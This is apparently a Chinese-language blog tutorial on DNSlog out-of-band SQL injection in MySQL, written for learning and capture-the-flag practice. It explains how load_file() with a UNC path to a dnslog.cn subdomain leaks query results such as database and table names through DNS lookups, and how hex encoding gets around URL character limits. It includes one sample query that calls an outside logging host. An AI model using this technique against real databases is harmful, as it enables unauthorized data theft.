声明:本文仅做学习交流探讨之用,切勿用于违法用途,请遵循《中华人民共和国网络安全法》,共同维护清朗的网络空间
Dns_log注入简介
我们将利用DNS解析的过程将留下痕迹和mysql中load_file()函数的能够访问互联网中的文件这一特点,将一些渗透的过程中将我们需要测试网站的结果回显到一个特定的可以记录DNS日志网站中,关于DNS的原理请参考https://blog.csdn.net/king9666/article/details/106022050
应用场景
DNS_log注入常用于网站对于我们的一些不合法的请求操作没有回显或者过滤了敏感的回显内容,
我们测试一个网站时的场景和一般的搭讪场景类似,对于一些防护能力落的服务器,“你的名字是什么?”,有的服务器会直接告诉你,“我叫xxx”,这就是无过滤/弱过滤的注入,对于一些只回答或者否的服务器,我们就会问,“你名字的第一个字是不是a?”、“你名字的第一个字是不是b?”......“你名字的第二个字是不是a?”.......,这就有点像盲注,而当我们遇到一些“不说话”的服务器,我们就可以尝试其他的注入方式,例如DNS_log注入
铺垫知识
一、http://dnslog.cn/ 这个网站可以记录下我们的DNS请求
打开网站的时候我们看到
这个时候我们需要通过第一个按钮,Get SubDomain得到一个域名,例如,我这里得到的是 p8f4es.dnslog.cn
此时我们可以尝试去ping一下这个url,可以看到能够ping通,也说明我们的DNS被成功解析
得到回复之后我们回到网页中,点击这个Refresh Record,可以看到部分的DNS解析记录
我们不难想到 p8f4es.dnslog.cn 域名下的任何子域名都会被记录下来,于是我们再 ping 一下 aaa.p8f4es.dnslog.cn
发现这条DNS请求也成功被记录了下来
二、mysql中load_file()函数
我们首先打开mysql
并且我们在D盘的根目录下准备了a.txt文件
然后我们利用load_file函数读取a.txt文件的内容
需要注意的是windows中的文件资源管理器中的文件目录用的是反斜杠 \ ,而我们的网站中文件的目录索引用的是斜杠 / ,我们这里load_file函数必须用斜杠 / 索引文件
三、concat()函数
很简单,用于拼接多个字符串
本地测试
结合铺垫知识中的亮点内容,我们也不难想到,服务器其实就是一台电脑,我们访问互联网上的资源实质也就是访问互联网中叫做服务器的这台电脑中的文件,利用这个特性,我们是否能够将mysql数据库中的一些信息回显到DNS请求中,于是我们重新获取一个域名,并通过ping测试该域名是否有效
然后我们在mysql中利用load_file函数输入这样一条指令,这里需要注意的是
根据load_file函数的语法规则,访问互联网中的文件时,我们需要在最前面加上两个斜杠 //
并且由于我们时需要到 nlur9s.dnslog.cn 这个域名对应的服务器中打开一个文件,所以我们在最后需要加上一个文件名,我这里用1.txt,大家可以随意,反正实际上也没有这个文件,但是只有加上文件名load_file函数才会帮我们去请求访问这个文件的内容,从而留下DNS记录
select load_file('//qwe.nlur9s.dnslog.cn/1.txt');
然后看到
我们继续本地测试,尝试爆出mysql中数据库的库名,我们首先用use语句选择数据库,然后利用concat语句拼接子句,再利用load_file语句把结果回显到DNS_log平台中
然后我们爆破该数据库中的所有表名,但是我们需要更改group_concat函数中的默认逗号分隔符,这里可以利用 . (点号) 也可以用 _ (下划线),建议的话用点好比较好,防止数据库库名中本身存在下划线
之后我们就可以常规的爆字段名,爆数据
上述方法的局限性及其消除
经过本地测试以及靶场测试发现,如果只使用上述的方法仍具有较大的局限性,原因是url中传递的字符非常有限,很多特殊字符如 { , } , !,是无法传递的,这就会导致我们的load_file函数失效,而在flag中括号什么的会经常出现,所以我们再次改进此方法
利用hex编码的改进
通过对select语句的结果进行hex编码,我们得到编码结果,
然后利用一个16进制解码网站即可解得flag
这样我们就绕过了特殊字符不能再url中传递的限制
tips:上述执行语句特意~~~没有留给大家,需要真正掌握的话还是需要自己敲一遍哦
以上就是DNS_log注入的解析以及实例测试,若还有什么疑惑,欢迎留言评论或私信
参考资料
https://blog.csdn.net/king9666/article/details/106022050
感谢上述博主的优秀博文